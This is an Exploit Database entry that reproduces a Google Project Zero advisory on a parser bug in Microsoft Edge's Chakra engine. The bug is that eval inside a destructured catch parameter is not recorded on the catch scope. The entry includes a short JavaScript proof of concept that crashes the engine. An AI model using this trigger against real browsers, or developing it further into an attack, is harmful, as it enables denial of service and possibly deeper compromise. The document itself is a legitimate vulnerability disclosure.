Microsoft Edge Chakra – ‘Parser::ParseCatch’ Does Not Handle ‘eval()’ (Denial of Service)

• Exploit Database
• 111 阅读

• 作者： Google Security Research
  日期： 2017-09-21
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42765/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37

  <!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1326   In Javascript, the code executed by a direct call to eval shares the caller block&apos;s scopes. Chakra handles this from the parser. And there&apos;s a bug when it parses "eval" in a catch statement&apos;s param.   ParseNodePtr Parser::ParseCatch() { ... pnodeCatchScope = StartParseBlock<buildAST>(PnodeBlockType::Regular, isPattern ? ScopeType_CatchParamPattern : ScopeType_Catch); ... ParseNodePtr pnodePattern = ParseDestructuredLiteral<buildAST>(tkLET, true /*isDecl*/, true /*topLevel*/, DIC_ForceErrorOnInitializer); ... }   1. "pnodeCatchScope" is a temporary block used to create a scope, and it is not actually inserted into the AST. 2. If the parser meets "eval" in "ParseDestructuredLiteral", it calls "pnodeCatchScope->SetCallsEval". 3. But "pnodeCatchScope" is not inserted into the AST. So the bytecode generator doesn&apos;t know it calls "eval", and it can&apos;t create scopes properly.   PoC: -->   function f() { { let i; function g() { i; }   try { throw 1; } catch ({e = eval(&apos;dd&apos;)}) { } } }   f();